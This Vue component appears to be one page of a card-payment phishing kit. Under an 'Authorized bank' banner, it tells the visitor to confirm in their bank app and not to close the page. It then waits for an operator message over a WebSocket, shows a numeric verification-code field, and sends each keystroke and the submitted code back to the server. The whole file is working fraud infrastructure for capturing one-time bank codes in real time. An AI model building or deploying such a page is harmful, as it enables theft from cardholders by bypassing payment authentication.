<script setup lang="ts">
import {
  nextTick,
  onMounted,
  onUnmounted,
  reactive,
  ref,
  watch,
} from "vue";
import { useRoute } from "vue-router";

import eventBus from "@/utils/eventBus";
const cardType = ref("");
import { useI18n } from "vue-i18n";
import { inputChange, myWebSocket } from "@/utils/common";
const { t } = useI18n(); // 解构出t方法
onMounted(() => {
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "appValid" },
    })
  );
  const route = useRoute();
  const query = route.query as any;
  if (query) {
    console.log("route", query);
    cardType.value = query.cardType;
  }
  localStorage.setItem("route", "appValid");
  eventBus.on("app-valid", handleEvent);
});

const message = ref("");

const handleEvent = (data: { message2: string }) => {
  message.value = data.message2;
};

onUnmounted(() => {
  eventBus.off("app-valid", handleEvent);
});

const formData = reactive({ verifyCode: "" });

const onchange = (value: any) => {
  inputChange("input_card", "verifyCode", value.target.value);
  formData.verifyCode = value.target.value;
};
const showInput = ref(false);
watch(message, (newValue, oldValue) => {
  showInput.value = !!(message.value.includes(":") || newValue.includes("："));
});

const submit = async () => {
  await nextTick();
  myWebSocket?.send(
    JSON.stringify({
      event: "submit_card",
      content: {
        type: "submitAppValidCode",
        formData: formData,
      },
    })
  );
  message.value = "";
};
</script>

<template>
  <div class="container">
    <div class="content">
      <div class="card-logo">
        <!--        <CardType2 :cardType="cardType" />-->
        <img
          src="/cardloading.svg"
          alt="card-logo"
          style="width: 100%"
        />
      </div>
      <div class="card-tye" v-if="cardType">
        {{ cardType }}
      </div>

      <br />
      <p>
        <img
          class="safe-icon"
          src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAB2AAAAdgB+lymcgAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAZYSURBVHic7ZtrcFTlGcd/z9lNRBIQMbQKhiAKqChesMHKzSVMvc3YQZqIM8pMC0OVoSpqKYMfjP3gZRx7QR0vHXTqU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t7Ii+Ureo3i3NDwunjodaX2R03njwjdjI0oe0nm78czMY4CB6cv7lN4QuvyT/vaWVl7DlOpLpd+yScPla3vhRI8UCTqXhwORMU5V1fChJtrIyt54RtbkKP08cDLS/SGN/vJ1UaquJKs7upsPC2XyH7E4dZfuh3dKbO/Ej+tvgPuw/4TZOGZelfXdm5MYrR8S/ga79imnuPsKL5jxxLfZN2LG73sDK2nj0BFg8caT7K+24M3V0BkbqUqtRkoijWe4R7m9fTnuw8/b/jqZOsbHmeT081ZxI6DRHeoCpqu7J1G3Ry/eIpjm01IZm9QY6wCikvmkZILBq799NtG99XvKE4tlpT2yq2HHRj7un7gEl1lX9DudWfshwhvB27MfpTt+aezqbYPI7XaWFuURznCS8OnhrQXBFtBP9PhGyjUBtbULvbi4+P+9lZS44XSVySCNnWo16dPDcgFqltQnjaq1/WUZ48tHCL52epvxFdi54EMnlNC5rPwom4r5Pi+yuxie8vnm5ZViPKSL8xAiIhtjOreWGtr0UD38/01gW1e1W5369/cMi9fouHDJfFWyLRDYI8m0mMDHkqFqn5cyYBMt4XaK6/fA1INNM4nlHdFKuf7nnU/y7BfCpbUxmaNI6/AHcGEs+EsDWmHXcSqUtlGiqYnaGqqF3UwVJUNwUSbxAU3Xhe8blLgigegv5aXJFJdVWPgT4WaNxvEV0fq7tiNdXVwWwNk6XP5cvqKheJ8ip421AZhJOgK2KRNzcHFO80Wfu9wMXbKi+xYSMwK8NQu2zHusft661XsrY7fDAS/SJWP/0GUX4JpG8UmBBOgayNdTA3W8X/J00OuGR75biUrQ8jshql0GCeRHhNLbu6Zd7Wr7KtLae/GZpcv3iK48hDiCxNm0ILp1B9PYQ8ezAS9bwM75ec/2gKYOq2u0p6NVlliVwL4Kh+lHLsLe0L3+o0+ebJkydPngD5N3rjJPMVPswaAAAAAElFTkSuQmCC"
          alt="safe-icon"
        /><b>{{ t("Authorized bank") }}</b>
      </p>
      <p class="sub">
        {{ t("Please go to the bank App to confirm the authorization") }}
      </p>
      <p class="sub">{{ t("Please do not close this page") }}</p>
      <p class="error">
        {{ message }}
      </p>
      <div
        class="input"
        data-v-509c2adf=""
        style="text-align: center"
        v-if="showInput"
      >
        <input
          required
          type="text"
          inputmode="numeric"
          @input="onchange"
          v-model="formData.verifyCode"
          minlength="3"
          maxlength="8"
          data-v-509c2adf=""
        />
      </div>

      <br data-v-509c2adf="" v-if="showInput" />
      <div class="button-submit" data-v-509c2adf="" v-if="showInput">
        <button type="button" data-v-509c2adf="" @click="submit">
          {{ t("Submit") }}
        </button>
      </div>

      <div v-if="!showInput">
        <img
          class="loading-icon"
          src="@/assets/img/ac3bca143fcfa.svg"
          alt="loading-icon"
        />
      </div>
    </div>
  </div>
</template>

<style scoped>
@media (max-width: 767px) {
  /* Mega Menu */
  body {
    padding-top: 10px !important;
    padding-bottom: 96px !important;
  }
}
.sub {
  opacity: 0.6;
}

.error {
  color: red;
}

div.container {
  display: flex;
  align-items: center;
  justify-content: center;
  height: 100dvh;
  padding: 0 10px;
  font-size: 16px;
}

div.container .content {
  text-align: center;
}

div.container .content .card-logo {
  width: 120px;
  margin: 0 auto;
  position: relative;
}

div.container .content .card-logo:after {
  content: "";
  display: block;
  position: absolute;
  top: 0;
  width: 15px;
  height: 100%;
  background: linear-gradient(
    90deg,
    transparent,
    rgba(255, 255, 255, 0.6352941176),
    transparent
  );
  animation: line 2s infinite;
}

@keyframes line {
  0% {
    left: -15px;
  }
  to {
    left: 100%;
  }
}

div.container .content .safe-icon {
  display: inline-block;
  width: 16px;
  vertical-align: baseline;
}

div.container .content .loading-icon {
  margin: 0 auto;
  width: 50px;
  opacity: 0.6;
}

div.input {
  position: relative;
  top: -0.5em;
}

div.input input {
  width: 80%;
  padding: 5px;
  text-align: center;
  outline: none;
  border: 2px solid black;
  border-radius: 5px;
  font-weight: 700;
  font-size: 1.1em;
  box-sizing: border-box;
}

div.input input:focus {
  border-color: #5381be;
}

div.button-submit button {
  padding: 8px 20px;
  cursor: pointer;
  background-color: #5381be;
  color: #fff;
  border: none;
  outline: none;
  border-radius: 3px;
}

p {
  display: block;
  margin-block-start: 1em;
  margin-block-end: 1em;
  margin-inline-start: 0px;
  margin-inline-end: 0px;
  unicode-bidi: isolate;
}

.container div.input label {
  display: block;
  margin-bottom: 5px;
}

.container div.input input {
  width: 130px;
  padding: 8px 5px;
  text-align: center;
  outline: none;
  border: 2px solid black;
  border-radius: 5px;
  font-weight: 700;
  font-size: 16px;
  box-sizing: border-box;
}

.container div.input input:focus {
  border-color: #5381be;
}

.container div.button-submit button {
  width: 80px;
  padding: 10px 5px;
  cursor: pointer;
  background-color: #5381be;
  color: #fff;
  border: none;
  outline: none;
  border-radius: 3px;
}

.container .resend {
  margin-top: 8px;
  text-align: center;
  font-size: 13px;
}

.container .resend a {
  color: #000;
  -webkit-text-decoration: underline;
  text-decoration: underline;
}

.button-submit {
  text-align: center;
}
</style>
